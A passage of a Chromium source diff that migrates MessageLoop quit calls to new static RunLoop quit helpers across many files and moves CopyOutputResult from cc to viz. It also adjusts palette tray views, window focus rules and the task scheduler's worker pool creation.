+#include "components/viz/common/quads/copy_output_result.h"
 #include "ui/compositor/scoped_animation_duration_scale_mode.h"
 #include "ui/display/display.h"
 #include "ui/display/manager/display_manager.h"
@@ -82,9 +82,9 @@
       std::unique_ptr<ScreenRotationRequest> rotation_request) override;
 
   void IntersectBefore(CopyCallback next_callback,
-                       std::unique_ptr<cc::CopyOutputResult> result);
+                       std::unique_ptr<viz::CopyOutputResult> result);
   void IntersectAfter(CopyCallback next_callback,
-                      std::unique_ptr<cc::CopyOutputResult> result);
+                      std::unique_ptr<viz::CopyOutputResult> result);
 
   base::Closure intersect_before_callback_;
   base::Closure intersect_after_callback_;
@@ -122,14 +122,14 @@
 
 void TestScreenRotationAnimator::IntersectBefore(
     CopyCallback next_callback,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   intersect_before_callback_.Run();
   std::move(next_callback).Run(std::move(result));
 }
 
 void TestScreenRotationAnimator::IntersectAfter(
     CopyCallback next_callback,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   intersect_after_callback_.Run();
   std::move(next_callback).Run(std::move(result));
 }
diff --git a/ash/shelf/shelf_layout_manager_unittest.cc b/ash/shelf/shelf_layout_manager_unittest.cc
index 6b7b903..efd99055 100644
--- a/ash/shelf/shelf_layout_manager_unittest.cc
+++ b/ash/shelf/shelf_layout_manager_unittest.cc
@@ -56,6 +56,7 @@
 #include "ui/keyboard/keyboard_util.h"
 #include "ui/views/view.h"
 #include "ui/views/widget/widget.h"
+#include "ui/wm/core/window_util.h"
 
 namespace ash {
 namespace {
@@ -120,7 +121,7 @@
     ++animation_steps_;
     if (IsDoneAnimating()) {
       done_waiting_ = true;
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
@@ -1761,6 +1762,19 @@
 
   w1->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_MAXIMIZED);
   EXPECT_EQ(SHELF_BACKGROUND_MAXIMIZED, GetShelfWidget()->GetBackgroundType());
+
+  std::unique_ptr<aura::Window> w3(CreateTestWindow());
+  w3->SetProperty(aura::client::kModalKey, ui::MODAL_TYPE_WINDOW);
+  ::wm::AddTransientChild(w1.get(), w3.get());
+  w3->Show();
+  wm::ActivateWindow(w3.get());
+
+  wm::WorkspaceWindowState window_state =
+      RootWindowController::ForWindow(GetShelfWidget()->GetNativeWindow())
+          ->GetWorkspaceWindowState();
+  EXPECT_EQ(wm::WORKSPACE_WINDOW_STATE_MAXIMIZED, window_state);
+
+  w3.reset();
   w1.reset();
   EXPECT_EQ(SHELF_BACKGROUND_DEFAULT, GetShelfWidget()->GetBackgroundType());
 }
diff --git a/ash/shelf/shelf_view_test_api.cc b/ash/shelf/shelf_view_test_api.cc
index c19a93de..4186e8bc 100644
--- a/ash/shelf/shelf_view_test_api.cc
+++ b/ash/shelf/shelf_view_test_api.cc
@@ -26,7 +26,7 @@
   // views::BoundsAnimatorObserver overrides:
   void OnBoundsAnimatorProgressed(views::BoundsAnimator* animator) override {}
   void OnBoundsAnimatorDone(views::BoundsAnimator* animator) override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/ash/shell/shell_delegate_impl.cc b/ash/shell/shell_delegate_impl.cc
index 32e0f145..5b6ea2fe 100644
--- a/ash/shell/shell_delegate_impl.cc
+++ b/ash/shell/shell_delegate_impl.cc
@@ -18,7 +18,7 @@
 #include "ash/system/tray/system_tray_delegate.h"
 #include "ash/wm/window_state.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "components/user_manager/user_info_impl.h"
 #include "ui/aura/window.h"
@@ -93,7 +93,7 @@
 void ShellDelegateImpl::PreShutdown() {}
 
 void ShellDelegateImpl::Exit() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 std::unique_ptr<keyboard::KeyboardUI> ShellDelegateImpl::CreateKeyboardUI() {
diff --git a/ash/system/palette/palette_tool_manager.cc b/ash/system/palette/palette_tool_manager.cc
index cae6adb..0f40a6d3 100644
--- a/ash/system/palette/palette_tool_manager.cc
+++ b/ash/system/palette/palette_tool_manager.cc
@@ -82,14 +82,11 @@
   return tool->GetActiveTrayIcon();
 }
 
-std::vector<PaletteToolView> PaletteToolManager::CreateViewsForGroup(
-    PaletteGroup group) {
+std::vector<PaletteToolView> PaletteToolManager::CreateViews() {
   std::vector<PaletteToolView> views;
+  views.reserve(tools_.size());
 
   for (const auto& tool : tools_) {
-    if (tool->GetGroup() != group)
-      continue;
-
     views::View* tool_view = tool->CreateView();
     if (!tool_view)
       continue;
diff --git a/ash/system/palette/palette_tool_manager.h b/ash/system/palette/palette_tool_manager.h
index e325f86f9..ed0cf2c5 100644
--- a/ash/system/palette/palette_tool_manager.h
+++ b/ash/system/palette/palette_tool_manager.h
@@ -86,8 +86,8 @@
   // not available.
   const gfx::VectorIcon& GetActiveTrayIcon(PaletteToolId tool_id) const;
 
-  // Create views for all of the registered mode tools with group |group|.
-  std::vector<PaletteToolView> CreateViewsForGroup(PaletteGroup group);
+  // Create views for all of the registered mode tools.
+  std::vector<PaletteToolView> CreateViews();
 
   // Called when the views returned by CreateViews have been destroyed. This
   // should clear any (now) stale references.
diff --git a/ash/system/palette/palette_tray.cc b/ash/system/palette/palette_tray.cc
index a626fa4..3402748d 100644
--- a/ash/system/palette/palette_tray.cc
+++ b/ash/system/palette/palette_tray.cc
@@ -308,6 +308,16 @@
 
 void PaletteTray::OnActiveToolChanged() {
   ++num_actions_in_bubble_;
+
+  // If there is no tool currently active and the palette tray button was active
+  // (eg. a mode was deactivated without pressing the palette tray button), make
+  // the palette tray button inactive.
+  if (palette_tool_manager_->GetActiveTool(PaletteGroup::MODE) ==
+          PaletteToolId::NONE &&
+      is_active()) {
+    SetIsActive(false);
+  }
+
   UpdateTrayIcon();
 }
 
@@ -392,33 +402,18 @@
       gfx::Insets(0, kPaddingBetweenTitleAndLeftEdge, 0, 0)));
   bubble_view->AddChildView(title_view);
 
-  // Function for creating a separator.
-  auto build_separator = []() {
-    auto* separator = new views::Separator();
-    separator->SetColor(kPaletteSeparatorColor);
-    separator->SetBorder(views::CreateEmptyBorder(
-        gfx::Insets(kPaddingBetweenTitleAndSeparator, 0,
-                    kMenuSeparatorVerticalPadding, 0)));
-    return separator;
-  };
-
-  // Add horizontal separator between the title and the tools.
-  bubble_view->AddChildView(build_separator());
+  // Add horizontal separator between the title and tools.
+  auto* separator = new views::Separator();
+  separator->SetColor(kPaletteSeparatorColor);
+  separator->SetBorder(views::CreateEmptyBorder(gfx::Insets(
+      kPaddingBetweenTitleAndSeparator, 0, kMenuSeparatorVerticalPadding, 0)));
+  bubble_view->AddChildView(separator);
 
   // Add palette tools.
   // TODO(tdanderson|jdufault): Use SystemMenuButton to get the material design
   // ripples.
-  std::vector<PaletteToolView> action_views =
-      palette_tool_manager_->CreateViewsForGroup(PaletteGroup::ACTION);
-  for (const PaletteToolView& view : action_views)
-    bubble_view->AddChildView(view.view);
-
-  // Add horizontal separator between action tools and mode tools.
-  bubble_view->AddChildView(build_separator());
-
-  std::vector<PaletteToolView> mode_views =
-      palette_tool_manager_->CreateViewsForGroup(PaletteGroup::MODE);
-  for (const PaletteToolView& view : mode_views)
+  std::vector<PaletteToolView> views = palette_tool_manager_->CreateViews();
+  for (const PaletteToolView& view : views)
     bubble_view->AddChildView(view.view);
 
   // Show the bubble.
diff --git a/ash/system/palette/palette_tray_unittest.cc b/ash/system/palette/palette_tray_unittest.cc
index 72b94cf..69292c0 100644
--- a/ash/system/palette/palette_tray_unittest.cc
+++ b/ash/system/palette/palette_tray_unittest.cc
@@ -102,4 +102,27 @@
   EXPECT_FALSE(palette_tray_->is_active());
 }
 
+// Verify that the palette tray button and bubble are as expected when modes
+// that can be deactivated without pressing the palette tray button (such as
+// capture region) are deactivated.
+TEST_F(PaletteTrayTest, ModeToolDeactivatedAutomatically) {
+  // Open the palette tray with a tap.
+  PerformTap();
+  ASSERT_TRUE(palette_tray_->is_active());
+  ASSERT_TRUE(test_api_->GetTrayBubbleWrapper());
+
+  // Activate and deactivate the capture region tool.
+  test_api_->GetPaletteToolManager()->ActivateTool(
+      PaletteToolId::CAPTURE_REGION);
+  ASSERT_TRUE(test_api_->GetPaletteToolManager()->IsToolActive(
+      PaletteToolId::CAPTURE_REGION));
+  test_api_->GetPaletteToolManager()->DeactivateTool(
+      PaletteToolId::CAPTURE_REGION);
+
+  // Verify the bubble is hidden and the button is inactive after deactivating
+  // the capture region tool.
+  EXPECT_FALSE(test_api_->GetTrayBubbleWrapper());
+  EXPECT_FALSE(palette_tray_->is_active());
+}
+
 }  // namespace ash
diff --git a/ash/touch_hud/mus/touch_hud_application.cc b/ash/touch_hud/mus/touch_hud_application.cc
index 1b39c241..b5e8461 100644
--- a/ash/touch_hud/mus/touch_hud_application.cc
+++ b/ash/touch_hud/mus/touch_hud_application.cc
@@ -8,7 +8,7 @@
 #include "ash/touch_hud/touch_hud_renderer.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "services/service_manager/public/cpp/connector.h"
 #include "services/service_manager/public/cpp/service_context.h"
@@ -100,7 +100,7 @@
     widget_->Show();
   } else {
     widget_->Close();
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
diff --git a/ash/wm/focus_rules.cc b/ash/wm/focus_rules.cc
index b1ca005..0decb79 100644
--- a/ash/wm/focus_rules.cc
+++ b/ash/wm/focus_rules.cc
@@ -9,6 +9,7 @@
 #include "ash/shell_delegate.h"
 #include "ash/wm/window_state.h"
 #include "ui/aura/window.h"
+#include "ui/wm/public/activation_delegate.h"
 
 namespace ash {
 
@@ -29,8 +30,15 @@
   if (!IsToplevelWindow(window))
     return false;
 
-  // The window must be visible.
-  return IsWindowConsideredVisibleForActivation(window);
+  if (!IsWindowConsideredVisibleForActivation(window))
+    return false;
+
+  if (::wm::GetActivationDelegate(window) &&
+      !::wm::GetActivationDelegate(window)->ShouldActivate()) {
+    return false;
+  }
+
+  return window->CanFocus();
 }
 
 bool IsWindowConsideredVisibleForActivation(aura::Window* window) {
diff --git a/ash/wm/workspace_controller.cc b/ash/wm/workspace_controller.cc
index fd34e8f..e127c8d 100644
--- a/ash/wm/workspace_controller.cc
+++ b/ash/wm/workspace_controller.cc
@@ -63,7 +63,8 @@
 
   const gfx::Rect shelf_bounds(Shelf::ForWindow(viewport_)->GetIdealBounds());
   bool window_overlaps_launcher = false;
-  auto mru_list = Shell::Get()->mru_window_tracker()->BuildMruWindowList();
+  auto mru_list =
+      Shell::Get()->mru_window_tracker()->BuildWindowListIgnoreModal();
 
   for (aura::Window* window : mru_list) {
     if (window->GetRootWindow() != viewport_->GetRootWindow())
diff --git a/base/BUILD.gn b/base/BUILD.gn
index 0e6c42e1..7793910 100644
--- a/base/BUILD.gn
+++ b/base/BUILD.gn
@@ -1219,6 +1219,8 @@
       "memory/shared_memory_posix.cc",
       "message_loop/message_pump_libevent.cc",
       "message_loop/message_pump_libevent.h",
+      "posix/unix_domain_socket.cc",
+      "posix/unix_domain_socket.h",
       "process/kill_posix.cc",
       "process/launch_posix.cc",
       "process/process_handle_posix.cc",
@@ -2369,8 +2371,10 @@
   }
 
   if (is_fuchsia) {
-    # Fuchsia doesn't support file locking.
-    sources -= [ "files/file_locking_unittest.cc" ]
+    sources -= [
+      "files/file_locking_unittest.cc",
+      "posix/unix_domain_socket_unittest.cc",
+    ]
   }
 
   if (is_android) {
diff --git a/base/files/file_locking_unittest.cc b/base/files/file_locking_unittest.cc
index 0cb8d8fe..ee345088 100644
--- a/base/files/file_locking_unittest.cc
+++ b/base/files/file_locking_unittest.cc
@@ -11,6 +11,7 @@
 #include "base/test/test_timeouts.h"
 #include "base/threading/platform_thread.h"
 #include "base/time/time.h"
+#include "build/build_config.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "testing/multiprocess_func_list.h"
 
@@ -214,6 +215,8 @@
   ASSERT_EQ(File::FILE_OK, lock_file_.Unlock());
 }
 
+// Flaky under Android ASAN (http://crbug.com/747518)
+#if !(defined(OS_ANDROID) && defined(ADDRESS_SANITIZER))
 // Test that killing the process releases the lock.  This should cover crashing.
 TEST_F(FileLockingTest, UnlockOnTerminate) {
   // The child will wait for an exit which never arrives.
@@ -224,3 +227,4 @@
   ASSERT_EQ(File::FILE_OK, lock_file_.Lock());
   ASSERT_EQ(File::FILE_OK, lock_file_.Unlock());
 }
+#endif
diff --git a/base/files/file_proxy_unittest.cc b/base/files/file_proxy_unittest.cc
index 58632ed..d75b304 100644
--- a/base/files/file_proxy_unittest.cc
+++ b/base/files/file_proxy_unittest.cc
@@ -38,26 +38,26 @@
 
   void DidFinish(File::Error error) {
     error_ = error;
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void DidCreateOrOpen(File::Error error) {
     error_ = error;
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void DidCreateTemporary(File::Error error,
                           const FilePath& path) {
     error_ = error;
     path_ = path;
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void DidGetFileInfo(File::Error error,
                       const File::Info& file_info) {
     error_ = error;
     file_info_ = file_info;
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void DidRead(File::Error error,
@@ -66,14 +66,14 @@
     error_ = error;
     buffer_.resize(bytes_read);
     memcpy(&buffer_[0], data, bytes_read);
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void DidWrite(File::Error error,
                 int bytes_written) {
     error_ = error;
     bytes_written_ = bytes_written;
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  protected:
diff --git a/base/files/file_util_proxy_unittest.cc b/base/files/file_util_proxy_unittest.cc
index 1c34f0b..deac9742 100644
--- a/base/files/file_util_proxy_unittest.cc
+++ b/base/files/file_util_proxy_unittest.cc
@@ -28,14 +28,14 @@
 
   void DidFinish(File::Error error) {
     error_ = error;
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void DidGetFileInfo(File::Error error,
                       const File::Info& file_info) {
     error_ = error;
     file_info_ = file_info;
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  protected:
diff --git a/base/message_loop/message_loop.cc b/base/message_loop/message_loop.cc
index a5c74e4..c85b1d3 100644
--- a/base/message_loop/message_loop.cc
+++ b/base/message_loop/message_loop.cc
@@ -241,13 +241,9 @@
   return type_ == type;
 }
 
-static void QuitCurrentWhenIdle() {
-  MessageLoop::current()->QuitWhenIdle();
-}
-
 // static
 Closure MessageLoop::QuitWhenIdleClosure() {
-  return Bind(&QuitCurrentWhenIdle);
+  return Bind(&RunLoop::QuitCurrentWhenIdleDeprecated);
 }
 
 void MessageLoop::SetNestableTasksAllowed(bool allowed) {
diff --git a/base/message_loop/message_loop_io_posix_unittest.cc b/base/message_loop/message_loop_io_posix_unittest.cc
index 78a09bc..96b55eb 100644
--- a/base/message_loop/message_loop_io_posix_unittest.cc
+++ b/base/message_loop/message_loop_io_posix_unittest.cc
@@ -47,12 +47,12 @@
   void OnFileCanReadWithoutBlocking(int fd) override {
     watcher_to_delete_ = nullptr;
     is_readable_ = true;
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
   void OnFileCanWriteWithoutBlocking(int fd) override {
     watcher_to_delete_ = nullptr;
     is_writable_ = true;
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool is_readable_ = false;
diff --git a/base/message_loop/message_loop_task_runner_unittest.cc b/base/message_loop/message_loop_task_runner_unittest.cc
index 32017f1..323a3e8 100644
--- a/base/message_loop/message_loop_task_runner_unittest.cc
+++ b/base/message_loop/message_loop_task_runner_unittest.cc
@@ -82,7 +82,7 @@
 
   static void RecordLoopAndQuit(scoped_refptr<LoopRecorder> recorder) {
     recorder->RecordRun();
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void UnblockTaskThread() { thread_sync_.Signal(); }
diff --git a/base/message_loop/message_loop_test.cc b/base/message_loop/message_loop_test.cc
index 35092de..db16b56 100644
--- a/base/message_loop/message_loop_test.cc
+++ b/base/message_loop/message_loop_test.cc
@@ -75,7 +75,7 @@
 void SlowFunc(TimeDelta pause, int* quit_counter) {
     PlatformThread::Sleep(pause);
     if (--(*quit_counter) == 0)
-      MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // This function records the time when Run was called in a Time object, which is
@@ -112,8 +112,7 @@
       FROM_HERE, BindOnce(&Foo::Test2Mixed, foo, a, &d));
   // After all tests, post a message that will shut down the message loop
   ThreadTaskRunnerHandle::Get()->PostTask(
-      FROM_HERE,
-      BindOnce(&MessageLoop::QuitWhenIdle, Unretained(MessageLoop::current())));
+      FROM_HERE, BindOnce(&RunLoop::QuitCurrentWhenIdleDeprecated));
 
   // Now kick things off
   RunLoop().Run();
@@ -360,7 +359,7 @@
     MessageLoop::current()->SetNestableTasksAllowed(true);
     RunLoop().Run();
   }
-  MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void RunTest_Nesting(MessagePumpFactory factory) {
@@ -468,7 +467,7 @@
 
 void QuitFunc(TaskList* order, int cookie) {
   order->RecordStart(QUITMESSAGELOOP, cookie);
-  MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
   order->RecordEnd(QUITMESSAGELOOP, cookie);
 }
 void RunTest_RecursiveDenial1(MessagePumpFactory factory) {
@@ -675,7 +674,7 @@
 }
 
 void FuncThatQuitsNow() {
-  MessageLoop::current()->QuitNow();
+  base::RunLoop::QuitCurrentDeprecated();
 }
 // Tests RunLoopQuit only quits the corresponding MessageLoop::Run.
 void RunTest_QuitNow(MessagePumpFactory factory) {
@@ -969,7 +968,7 @@
     ThreadTaskRunnerHandle::Get()->PostTask(
         FROM_HERE, BindOnce(&PostNTasksThenQuit, posts_remaining - 1));
   } else {
-    MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
diff --git a/base/message_loop/message_loop_unittest.cc b/base/message_loop/message_loop_unittest.cc
index b9fce13..938b387f 100644
--- a/base/message_loop/message_loop_unittest.cc
+++ b/base/message_loop/message_loop_unittest.cc
@@ -149,7 +149,7 @@
 static void SlowFunc(TimeDelta pause, int* quit_counter) {
     PlatformThread::Sleep(pause);
     if (--(*quit_counter) == 0)
-      MessageLoop::current()->QuitWhenIdle();
+      RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // This function records the time when Run was called in a Time object, which is
@@ -170,7 +170,7 @@
     TranslateMessage(&msg);
     DispatchMessage(&msg);
   }
-  MessageLoop::current()->QuitWhenIdle();
+  RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void RunTest_PostDelayedTask_SharedTimer_SubPump() {
@@ -334,7 +334,7 @@
 
 void QuitFunc(TaskList* order, int cookie) {
   order->RecordStart(QUITMESSAGELOOP, cookie);
-  MessageLoop::current()->QuitWhenIdle();
+  RunLoop::QuitCurrentWhenIdleDeprecated();
   order->RecordEnd(QUITMESSAGELOOP, cookie);
 }
 
@@ -475,7 +475,7 @@
     ThreadTaskRunnerHandle::Get()->PostTask(
         FROM_HERE, BindOnce(&PostNTasksThenQuit, posts_remaining - 1));
   } else {
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
@@ -816,8 +816,7 @@
 
   // Post quit task;
   ThreadTaskRunnerHandle::Get()->PostTask(
-      FROM_HERE,
-      BindOnce(&MessageLoop::QuitWhenIdle, Unretained(MessageLoop::current())));
+      FROM_HERE, BindOnce(&RunLoop::QuitCurrentWhenIdleDeprecated));
 
   // Now kick things off
   RunLoop().Run();
@@ -895,7 +894,7 @@
         break;
     }
     EXPECT_TRUE(did_run);
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
     break;
   }
   return 0;
diff --git a/base/message_loop/message_pump_glib_unittest.cc b/base/message_loop/message_pump_glib_unittest.cc
index 564de7d..1bfa70e9 100644
--- a/base/message_loop/message_pump_glib_unittest.cc
+++ b/base/message_loop/message_pump_glib_unittest.cc
@@ -309,7 +309,7 @@
       --task_count_;
     }
     if (task_count_ == 0 && event_count_ == 0) {
-        MessageLoop::current()->QuitWhenIdle();
+      RunLoop::QuitCurrentWhenIdleDeprecated();
     } else {
       ThreadTaskRunnerHandle::Get()->PostTask(
           FROM_HERE, BindOnce(&ConcurrentHelper::FromTask, this));
@@ -321,7 +321,7 @@
       --event_count_;
     }
     if (task_count_ == 0 && event_count_ == 0) {
-        MessageLoop::current()->QuitWhenIdle();
+      RunLoop::QuitCurrentWhenIdleDeprecated();
     } else {
       injector_->AddEventAsTask(0,
                                 BindOnce(&ConcurrentHelper::FromEvent, this));
@@ -465,7 +465,7 @@
 
   ASSERT_EQ(3, task_count);
   EXPECT_EQ(4, injector->processed_events());
-  MessageLoop::current()->QuitWhenIdle();
+  RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TestGtkLoopInternal(EventInjector* injector) {
@@ -498,7 +498,7 @@
 
   ASSERT_EQ(3, task_count);
   EXPECT_EQ(4, injector->processed_events());
-  MessageLoop::current()->QuitWhenIdle();
+  RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace
diff --git a/base/metrics/statistics_recorder.cc b/base/metrics/statistics_recorder.cc
index c80feff..5c28bb8 100644
--- a/base/metrics/statistics_recorder.cc
+++ b/base/metrics/statistics_recorder.cc
@@ -338,6 +338,24 @@
 }
 
 // static
+void StatisticsRecorder::ValidateAllHistograms() {
+  base::AutoLock auto_lock(lock_.Get());
+
+  HistogramBase* last_invalid_histogram = nullptr;
+  int invalid_count = 0;
+  HistogramIterator end_it = end();
+  for (HistogramIterator it = begin(true); it != end_it; ++it) {
+    const bool is_valid = (*it)->ValidateHistogramContents(false, 0);
+    if (!is_valid) {
+      ++invalid_count;
+      last_invalid_histogram = *it;
+    }
+  }
+  if (last_invalid_histogram)
+    last_invalid_histogram->ValidateHistogramContents(true, invalid_count);
+}
+
+// static
 void StatisticsRecorder::InitLogOnShutdown() {
   if (!histograms_)
     return;
diff --git a/base/metrics/statistics_recorder.h b/base/metrics/statistics_recorder.h
index 38f3799..1b68d40 100644
--- a/base/metrics/statistics_recorder.h
+++ b/base/metrics/statistics_recorder.h
@@ -164,6 +164,9 @@
                             HistogramBase::Flags required_flags,
                             HistogramSnapshotManager* snapshot_manager);
 
+  // TODO(asvitkine): Remove this after crbug/736675.
+  static void ValidateAllHistograms();
+
   // GetSnapshot copies some of the pointers to registered histograms into the
   // caller supplied vector (Histograms). Only histograms which have |query| as
   // a substring are copied (an empty string will process all registered
diff --git a/base/run_loop.cc b/base/run_loop.cc
index fd77211f..41171bd 100644
--- a/base/run_loop.cc
+++ b/base/run_loop.cc
@@ -63,6 +63,7 @@
 
 RunLoop::Delegate::Client::Client(Delegate* outer) : outer_(outer) {}
 
+// static
 RunLoop::Delegate::Client* RunLoop::RegisterDelegateForCurrentThread(
     Delegate* delegate) {
   // Bind |delegate| to this thread.
@@ -220,6 +221,18 @@
   tls_delegate.Get().Get()->allow_nesting_ = false;
 }
 
+// static
+void RunLoop::QuitCurrentDeprecated() {
+  DCHECK(IsRunningOnCurrentThread());
+  tls_delegate.Get().Get()->active_run_loops_.top()->Quit();
+}
+
+// static
+void RunLoop::QuitCurrentWhenIdleDeprecated() {
+  DCHECK(IsRunningOnCurrentThread());
+  tls_delegate.Get().Get()->active_run_loops_.top()->QuitWhenIdle();
+}
+
 bool RunLoop::BeforeRun() {
   DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
 
diff --git a/base/run_loop.h b/base/run_loop.h
index 3e20a30..4166db416 100644
--- a/base/run_loop.h
+++ b/base/run_loop.h
@@ -200,6 +200,15 @@
   // Delegate::Client is valid as long as |delegate| is kept alive.
   static Delegate::Client* RegisterDelegateForCurrentThread(Delegate* delegate);
 
+  // Quits the active RunLoop (when idle) -- there must be one. These were
+  // introduced as prefered temporary replacements to the long deprecated
+  // MessageLoop::Quit(WhenIdle) methods. Callers should properly plumb a
+  // reference to the appropriate RunLoop instance (or its QuitClosure) instead
+  // of using these in order to link Run()/Quit() to a single RunLoop instance
+  // and increase readability.
+  static void QuitCurrentDeprecated();
+  static void QuitCurrentWhenIdleDeprecated();
+
  private:
   // TODO(gab): Break the inter-dependency between MessageLoop and RunLoop
   // further. http://crbug.com/703346
diff --git a/base/synchronization/waitable_event_watcher_unittest.cc b/base/synchronization/waitable_event_watcher_unittest.cc
index 7eacd7fc..1d2d479 100644
--- a/base/synchronization/waitable_event_watcher_unittest.cc
+++ b/base/synchronization/waitable_event_watcher_unittest.cc
@@ -30,7 +30,7 @@
 };
 
 void QuitWhenSignaled(WaitableEvent* event) {
-  MessageLoop::current()->QuitWhenIdle();
+  RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 class DecrementCountContainer {
diff --git a/base/task_scheduler/scheduler_worker_pool_impl.cc b/base/task_scheduler/scheduler_worker_pool_impl.cc
index e99995d..d826db9b 100644
--- a/base/task_scheduler/scheduler_worker_pool_impl.cc
+++ b/base/task_scheduler/scheduler_worker_pool_impl.cc
@@ -225,8 +225,6 @@
 }
 
 void SchedulerWorkerPoolImpl::Start(const SchedulerWorkerPoolParams& params) {
-  suggested_reclaim_time_ = params.suggested_reclaim_time();
-
   AutoSchedulerLock auto_lock(lock_);
 
 #if DCHECK_IS_ON()
@@ -234,31 +232,18 @@
 #endif
 
   DCHECK(workers_.empty());
-  workers_.resize(params.max_threads());
 
-  // The number of workers created alive is |num_wake_ups_before_start_|, plus
-  // one if the standby thread policy is ONE (in order to start with one alive
-  // idle worker).
-  const int num_alive_workers =
-      num_wake_ups_before_start_ +
-      (params.standby_thread_policy() ==
-               SchedulerWorkerPoolParams::StandbyThreadPolicy::ONE
-           ? 1
-           : 0);
+  worker_capacity_ = params.max_threads();
+  suggested_reclaim_time_ = params.suggested_reclaim_time();
+  backward_compatibility_ = params.backward_compatibility();
 
-  for (int index = params.max_threads() - 1; index >= 0; --index) {
-    workers_[index] = make_scoped_refptr(new SchedulerWorker(
-        priority_hint_, MakeUnique<SchedulerWorkerDelegateImpl>(this),
-        task_tracker_, &lock_, params.backward_compatibility(),
-        index < num_alive_workers ? SchedulerWorker::InitialState::ALIVE
-                                  : SchedulerWorker::InitialState::DETACHED));
+  // The initial number of workers is |num_wake_ups_before_start_|, plus
+  // one to try to keep one at least one standby thread at all times.
+  const int num_initial_workers = num_wake_ups_before_start_ + 1;
+  workers_.reserve(num_initial_workers);
 
-    // Put workers that won't be woken up at the end of this method on the
-    // idle stack.
-    // Note: it is important that alive workers get pushed last so that they end
-    // up at the top of the idle stack rather than detached workers.
-    if (index >= num_wake_ups_before_start_)
-      idle_workers_stack_.Push(workers_[index].get());
+  for (int index = 0; index < num_initial_workers; ++index) {
+    CreateAndRegisterSchedulerWorker();
   }
 
 #if DCHECK_IS_ON()
@@ -273,12 +258,13 @@
   for (size_t index = 0; index < workers_.size(); ++index) {
     const bool start_success = workers_[index]->Start();
     CHECK(start_success || index > 0);
-  }
 
-  // Wake up one worker for each wake up that occurred before Start().
-  for (size_t index = 0; index < workers_.size(); ++index) {
+    // Wake up one worker for each wake up that occurred before Start(). Place
+    // all the other workers on the idle stack.
     if (static_cast<int>(index) < num_wake_ups_before_start_)
       workers_[index]->WakeUp();
+    else
+      idle_workers_stack_.Push(workers_[index].get());
   }
 }
 
@@ -363,12 +349,13 @@
   histograms->push_back(num_tasks_between_waits_histogram_);
 }
 
+// TODO(jeffreyhe): Add and return an |initial_worker_capacity_| member when
+// worker capacity becomes dynamic.
 int SchedulerWorkerPoolImpl::GetMaxConcurrentTasksDeprecated() const {
-  AutoSchedulerLock auto_lock(lock_);
 #if DCHECK_IS_ON()
   DCHECK(workers_created_.IsSet());
 #endif
-  return workers_.size();
+  return worker_capacity_;
 }
 
 void SchedulerWorkerPoolImpl::WaitForAllWorkersIdleForTesting() {
@@ -575,8 +562,14 @@
     DCHECK_EQ(workers_.empty(), !workers_created_.IsSet());
 #endif
 
-    if (workers_.empty())
+    if (workers_.empty()) {
       ++num_wake_ups_before_start_;
+      return;
+    }
+
+    // Add a new worker if we're below capacity and there are no idle workers.
+    if (idle_workers_stack_.IsEmpty() && workers_.size() < worker_capacity_)
+      worker = CreateRegisterAndStartSchedulerWorker().get();
     else
       worker = idle_workers_stack_.Pop();
   }
@@ -619,5 +612,27 @@
   return !worker_detachment_disallowed_.IsSet();
 }
 
+scoped_refptr<SchedulerWorker>
+SchedulerWorkerPoolImpl::CreateAndRegisterSchedulerWorker() {
